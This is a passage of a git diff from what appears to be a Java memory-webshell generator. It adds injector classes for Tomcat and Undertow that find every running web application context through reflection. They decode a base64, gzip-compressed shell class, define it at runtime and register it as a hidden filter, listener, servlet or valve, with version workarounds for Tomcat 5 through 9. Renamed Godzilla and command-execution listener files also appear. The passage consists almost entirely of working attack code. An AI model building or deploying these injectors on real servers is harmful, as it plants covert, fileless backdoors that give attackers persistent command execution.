clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + public boolean isInjected(Object context) throws Exception { + if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { + System.out.println("filter already injected"); + return true; + } + return false; + } + + @SuppressWarnings("all") + public void inject(Object context, Object filter) throws Exception { + if (isInjected(context)) { + return; + } + String filterClassName = getClassName(); + Object filterDef; + Object filterMap; + try { + // tomcat v8/9 + filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); + filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); + } catch (Exception e2) { + // tomcat v6/7 + try { + filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + } catch (Exception e) { + // tomcat v5 + filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, context.getClass().getClassLoader()).newInstance(); + filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, context.getClass().getClassLoader()).newInstance(); + } + } + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); + Constructor[] constructors; + try { + invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + } catch (Exception e) { + // tomcat v5 + invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, context.getClass().getClassLoader()).getDeclaredConstructors(); + } + try { + // v7.0.0 以上 + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception e) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + System.out.println("filter inject success"); + constructors[0].setAccessible(true); + try { + Object filterConfig = constructors[0].newInstance(context, filterDef); + Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); + filterConfigs.put(filterClassName, filterConfig); + } catch (Exception e) { + // 一个 tomcat 多个应用部分应用通过上下文线程加载 filter 对象,可能在目标应用会加载不到 + if (!(e.getCause() instanceof ClassNotFoundException)) { + throw e; + } + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatListenerInjector.java new file mode 100644 index 00000000..fb7c523d --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatListenerInjector.java @@ -0,0 +1,239 @@ +package com.reajason.javaweb.memshell.tomcat.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * Tomcat Listener 注入器 + * 测试版本: + * jdk v1.8.0_275 + * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 + * + * @author pen4uin, ReaJason + */ +public class TomcatListenerInjector { + + static { + new TomcatListenerInjector(); + } + + public TomcatListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getShell(context); + inject(context, listener); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + @SuppressWarnings("all") + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Object context = null; + for (Thread thread : threads) { + // 适配 v5/v6/7/8 + if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { + HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + // 原: map.get("localhost") + // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFieldValue(childrenMap.get(key), "children"); + // 原: context = children.get(""); + // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + // 兼容 spring boot 2.x embedded tomcat + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } + // 适配 tomcat v9 + else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("all") + public void inject(Object context, Object listener) throws Exception { + if (isInjected(context)) { + return; + } + Object applicationEventListenersObjects = getFieldValue(context, "applicationEventListenersObjects"); + if (applicationEventListenersObjects != null) { + Object[] appListeners = (Object[]) applicationEventListenersObjects; + if (appListeners != null) { + List appListenerList = new ArrayList(Arrays.asList(appListeners)); + appListenerList.add(listener); + setFieldValue(context, "applicationEventListenersObjects", appListenerList.toArray()); + } + } else if (getFieldValue(context, "applicationEventListenersList") != null) { + List appListeners = (List) getFieldValue(context, "applicationEventListenersList"); + if (appListeners != null) { + appListeners.add(listener); + } + } + } + + @SuppressWarnings("all") + public boolean isInjected(Object context) throws Exception { + Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null); + List listeners = Arrays.asList(objects); + ArrayList arrayList = new ArrayList(listeners); + for (Object o : arrayList) { + if (o.getClass().getName().contains(getClassName())) { + return true; + } + } + return false; + } + + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatServletInjector.java new file mode 100644 index 00000000..1028c621 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatServletInjector.java @@ -0,0 +1,283 @@ +package com.reajason.javaweb.memshell.tomcat.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/15 + */ +public class TomcatServletInjector { + static { + new TomcatServletInjector(); + } + + public TomcatServletInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object servlet = getShell(context); + inject(context, servlet); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + @SuppressWarnings("all") + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Object context = null; + for (Thread thread : threads) { + // 适配 v5/v6/7/8 + if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { + HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + // 原: map.get("localhost") + // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFieldValue(childrenMap.get(key), "children"); + // 原: context = children.get(""); + // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + // 兼容 spring boot 2.x embedded tomcat + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } + // 适配 tomcat v9 + else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("all") + public void inject(Object context, Object servlet) throws Exception { + if (isInjected(context)) { + System.out.println("servlet already injected"); + return; + } + Class containerClass = null; + try { + containerClass = Class.forName("org.apache.catalina.Container"); + } catch (ClassNotFoundException var12) { + containerClass = Class.forName("org.apache.catalina.Container", true, context.getClass().getClassLoader()); + } + + Object wrapper = invokeMethod(context, "createWrapper", null, null); + invokeMethod(wrapper, "setName", new Class[]{String.class}, new Object[]{getClassName()}); + invokeMethod(wrapper, "setLoadOnStartup", new Class[]{Integer.TYPE}, new Object[]{1}); + setFieldValue(wrapper, "instance", servlet); + invokeMethod(wrapper, "setServletClass", new Class[]{String.class}, new Object[]{this.getClassName()}); + invokeMethod(context, "addChild", new Class[]{containerClass}, new Object[]{wrapper}); + + try { + invokeMethod(context, "addServletMapping", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), getClassName()}); + } catch (NoSuchMethodException var11) { + invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false}); + } + support56Inject(context, wrapper); + System.out.println("servlet inject success"); + } + + @SuppressWarnings("all") + public boolean isInjected(Object context) throws Exception { + Map servletMappings = (Map) getFieldValue(context, "servletMappings"); + Collection values = servletMappings.values(); + for (String name : values) { + System.out.println(name); + if (name.equals(getClassName())) { + return true; + } + } + return false; + } + + private void support56Inject(Object context, Object wrapper) throws Exception { + Class serverInfo = Class.forName("org.apache.catalina.util.ServerInfo", false, context.getClass().getClassLoader()); + String number = (String) invokeMethod(serverInfo, "getServerNumber", null, null); + if (!number.startsWith("5") && !number.startsWith("6")) { + return; + } + Object connectors = getFieldValue(getFieldValue(getFieldValue(getFieldValue(context, "parent"), "parent"), "service"), "connectors"); + int connectorsLength = Array.getLength(connectors); + for (int i = 0; i < connectorsLength; ++i) { + Object connector = Array.get(connectors, i); + String protocolHandlerClassName = (String) getFieldValue(connector, "protocolHandlerClassName"); + if (!protocolHandlerClassName.contains("Http")) { + continue; + } + Object contexts = getFieldValue(getFieldValue(Array.get(getFieldValue(getFieldValue(connector, "mapper"), "hosts"), 0), "contextList"), "contexts"); + int contextsLength = Array.getLength(contexts); + for (int j = 0; j < contextsLength; ++j) { + Object o = Array.get(contexts, j); + if (getFieldValue(o, "object") != context) { + continue; + } + Class mapperClazz = Class.forName("org.apache.tomcat.util.http.mapper.Mapper", false, context.getClass().getClassLoader()); + Class wrapperClazz = Class.forName("org.apache.tomcat.util.http.mapper.Mapper$Wrapper", false, context.getClass().getClassLoader()); + Constructor declaredConstructor = wrapperClazz.getDeclaredConstructors()[0]; + declaredConstructor.setAccessible(true); + Object newWrapper = declaredConstructor.newInstance(); + setFieldValue(newWrapper, "object", wrapper); + setFieldValue(newWrapper, "jspWildCard", false); + setFieldValue(newWrapper, "name", getUrlPattern()); + + Object exactWrappers = getFieldValue(o, "exactWrappers"); + int length = Array.getLength(exactWrappers); + Object newWrappers = Array.newInstance(wrapperClazz, length + 1); + Class mapElementClass = Class.forName("org.apache.tomcat.util.http.mapper.Mapper$MapElement", false, context.getClass().getClassLoader()); + Class mapElementArrayClass = Array.newInstance(mapElementClass, 0).getClass(); + invokeMethod(mapperClazz, "insertMap", new Class[]{mapElementArrayClass, mapElementArrayClass, mapElementClass}, new Object[]{exactWrappers, newWrappers, newWrapper}); + setFieldValue(o, "exactWrappers", newWrappers); + } + } + } + + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + @SuppressWarnings("all") + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatValveInjector.java new file mode 100644 index 00000000..a149690f --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatValveInjector.java @@ -0,0 +1,217 @@ +package com.reajason.javaweb.memshell.tomcat.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * Date: 2022/11/01 + * Author: pen4uin + * Description: Tomcat Valve 注入器 + * Tested version: + * jdk v1.8.0_275 + * tomcat v8.5.83, v9.0.67 + * + * @author ReaJason + */ +public class TomcatValveInjector { + + static { + new TomcatValveInjector(); + } + + public TomcatValveInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object valve = getShell(context); + inject(context, valve); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + @SuppressWarnings("all") + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Object context = null; + for (Thread thread : threads) { + // 适配 v5/v6/7/8 + if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { + HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + // 原: map.get("localhost") + // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFieldValue(childrenMap.get(key), "children"); + // 原: context = children.get(""); + // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + // 兼容 spring boot 2.x embedded tomcat + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } + // 适配 tomcat v9 + else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = context.getClass().getClassLoader(); + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("all") + public void inject(Object context, Object valve) throws Exception { + Object pipeline = invokeMethod(context, "getPipeline", null, null); + if (isInjected(pipeline)) { + System.out.println("valve already injected"); + return; + } + try { + Class valveClass; + String valveClassName = "org.apache.catalina.Valve"; + valveClass = context.getClass().getClassLoader().loadClass(valveClassName); + invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @SuppressWarnings("all") + public boolean isInjected(Object pipeline) throws Exception { + Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); + List valvesList = Arrays.asList(valves); + for (Object valve : valvesList) { + if (valve.getClass().getName().contains(getClassName())) { + return true; + } + } + return false; + } + + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java similarity index 97% rename from generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java index 72179a9f..d4fa06b8 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.undertow.command; +package com.reajason.javaweb.memshell.undertow.command; import javax.servlet.ServletOutputStream; import javax.servlet.ServletRequestEvent; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java similarity index 99% rename from generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java index f64904d6..fdbc6b8e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.undertow.godzilla; +package com.reajason.javaweb.memshell.undertow.godzilla; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowFilterInjector.java new file mode 100644 index 00000000..7760f462 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowFilterInjector.java @@ -0,0 +1,206 @@ +package com.reajason.javaweb.memshell.undertow.injector; + +import javax.servlet.DispatcherType; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + + +/** + * @author ReaJason + */ +public class UndertowFilterInjector { + + static { + new UndertowFilterInjector(); + } + + public UndertowFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getShell(context); + inject(context, filter); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + for (Thread thread : threads) { + try { + Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current", null, 